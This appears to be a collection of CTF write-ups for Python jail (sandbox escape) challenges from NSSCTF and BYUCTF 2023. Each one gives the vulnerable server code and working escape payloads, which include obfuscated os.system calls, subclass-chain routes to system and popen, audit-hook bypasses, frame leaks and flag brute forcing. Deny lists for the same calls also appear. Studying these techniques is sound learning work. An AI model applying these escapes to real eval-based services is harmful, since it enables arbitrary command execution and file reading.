NSSCTF jail level 0
题解
- server.py
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
- payload
__import__('os').system('cat flag')
open('flag').read()
NSSCTF jail level 1
题解
- server.py
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
- exp
a = "__import__('os').system('cat flag')"
exp = ""
for i in a:
exp += f"chr({ord(i)})+"
print(f"eval({exp[:-1]})")
- payload
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))
NSSCTF jail level 2
题解
- server.py
WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
- payload
eval(input())
__import__("os").system("cat flag")
NSSCTF jail level 2.5
题解
- server.py
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
- payload
breakpoint()
__import__('os').system('cat flag')
NSSCTF jail level 3
题解
- server.py
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
- payload
help()
+
!/bin/sh flag
NSSCTF jail level 4
题解
- server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
print(not_allowed)
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
while True:
try:
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
print('Answer: {}'.format(eval_func(input_data)))
except Exception as e:
print(e)
- payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read() # ./flag
NSSCTF jail level4.0.5
题解
- server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']
my_eval_func_0002321 = eval
my_input_func_2309121 = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))
- payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()
NSSCTF jail level 4.1
题解
- server.py
Answer: #No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
- payload
my_eval_func_ABDC8732(my_input_func_001EC9GP())
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")
cat f*
NSSCTF jail level 4.3
题解
- server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']
my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)
def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))
if __name__ == '__main__':
main()
- payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())
NSSCTF jail level 5
题解
- server.py
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
if __name__ == '__main__':
main()
- load_flag.py
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
- payload
''.join(my_flag.flag_level5)
NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
breakpoint()
__import__('os').system('cat *')
flag=NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
my_flag.flag_level5.index('NSSCTF{*') #爆破
NSSCTF jail level 6
题解
- server.py
import sys
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
def main():
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''
CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
- 非预期
__builtins__["__loader__"].load_module("_posixsubprocess").fork_exec([b"/usr/bin/cat", "flag"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__builtins__["__loader__"].load_module('os').pipe()), False, False, None, None, None, -1, None)
- 预期
exec("globals()['__builtins__'].set=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")
NSSCTF jail level 7
题解
- server.py
import ast
import sys
import os
WELCOME = '''
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
'''
def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True
def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line
tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()
while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()
- payload
@exec
@input
class A:
pass
--HNCTF
__import__('os').system('car flag')
NSSCTF s@Fe safeeval
题解
- server.py
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
]
_expr_codes = _const_codes + [
'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
'BINARY_OR',
]
blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']
TURING_PROTECT_SAFE = True
banned = '''
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
'''
code = '''
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
'''
WELCOME = '''
______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/
'''
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
try:
print(WELCOME)
print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off')
print('Black List:')
print(banned)
print('some code:')
print(code)
while True:
input_data = input('> ')
try:
print(expr(input_data))
except Exception as err:
traceback.print_exc(file=sys.stdout)
except EOFError as input_data:
print()
- payload
(lambda: os.system('/bin/sh'))()
cat flag
NSSCTF python2 jail
题解
- server.py
WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''
print WELCOME
print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
- payload
__import__("os").system('cat flag')
NSSCTF jail lake lake lake
题解
- server.py
#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
- payload
1
globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f090e9a0ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f090eb3fd90>, 'backdoor': <function backdoor at 0x7f090ea01fc0>, 'WELCOME': '\n'}
2
a34af94e88aed5c34fb5ccfe08cd14ab
__import__("os").system('cat flag')
NSSCTF jail l@ke l@ke l@ke
题解
- server.py
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
- payload
1 > help() > server > 1 > help() > server
第一次 help() 中查看 server 时,环境变为 server.py,此时可以查看变量
ke_9d38ee7f31d6126d = ’95c720690c2c83f0982ffba63ff87338′
NSSCTF{422d9d33-4c34-49ec-889c-a7fd7dd3f15a}
NSSCTF laKe laKe laKe
题解
- server.py
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
- payload
list(__import__('sys')._getframe(1).f_locals.values())[1]
NSSCTF Side-channel/pyjail: tyPe Ch@nnEl
题解
- server.py
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'
def my_safe_check(n):
return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)
def my_safe_eval(m, my_func):
if not my_safe_check(m):
print("Hacker!!!!")
else:
try:
print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
except:
print("Try again!")
if __name__ == "__main__":
my_safe_eval(input("Payload:"), type)
- 题目分析
eval 的执行环境很干净,啥都没有,能用的只有数据类型的初始属性,并且所有魔法方法都不能用,意味着全程只能用 flag 中存在的东西操作 flag
dir('')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
- 新知识++
True == 1 False == 0 可用此来判断
'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper'
flag.join(flag).split(flag).pop().split().pop(flag.join(flag).split(flag).pop({num}).isdigit())
type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]
bytes 的切片数据类型为 int
a = b’test’
type(a) –> “bytes”
type(a[0]) –> “int”
a[0] ^ 1 –> 117
来自学长部分 payload
- 非预期解(运气好,静态flag,费时)
通过 flag.join(flag).split(flag) 可以得到单个字符构成的 list
通过 list.pop() 弹出元素,然后切割 flag,确定弹出元素所在的位置
可以通过分割后 list 元素的数量判断重复次数,通过单个元素的长度判断 单个字符的位置
到最后就只能硬猜了,运气好,就猜了 4 次
- 预期解
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})
i => flag 单字符位置
guess => num 猜测字符的 ascii 码
当相等时 return NoneType,当不相等时 报错,然后开始爆破
- 优化预期解
type(flag.split())(type(flag.split())(flag).pop({}).encode()).remove({})
BYUCTF 2023 Builtins 1
- server.py
print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}}))
- payload
().__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat flag').read
BYUCTF 2023 Builtins 2
- server.py
inp = input("code> ")[:72]
if "__" in inp:
print("Nope")
else:
print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
- payload
().__class__.__base__.__subclasses__()[119].get_data('', path=r'flag.txt')
BYUCTF 2023 a-z0-9
- server.py
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
- payload
breakpoint()
𝘦𝘹𝘦𝘤("𝘢=𝘤𝘩𝘳;𝘣=𝘰𝘳𝘥;𝘤=𝘣('൬');𝘥=𝘢(𝘤-𝘣(''));𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯(𝘢(𝘤-𝘣('ആ'))+𝘢(𝘤-𝘣('ഀ'))+𝘢(𝘤-𝘣('ഋ'))+𝘢(𝘤-𝘣('അ'))+'.'+𝘥+𝘢(𝘤-𝘣(''))+𝘥).𝘳𝘦𝘢𝘥())")
BYUCTF 2023 Leet 1
- server.py
import re
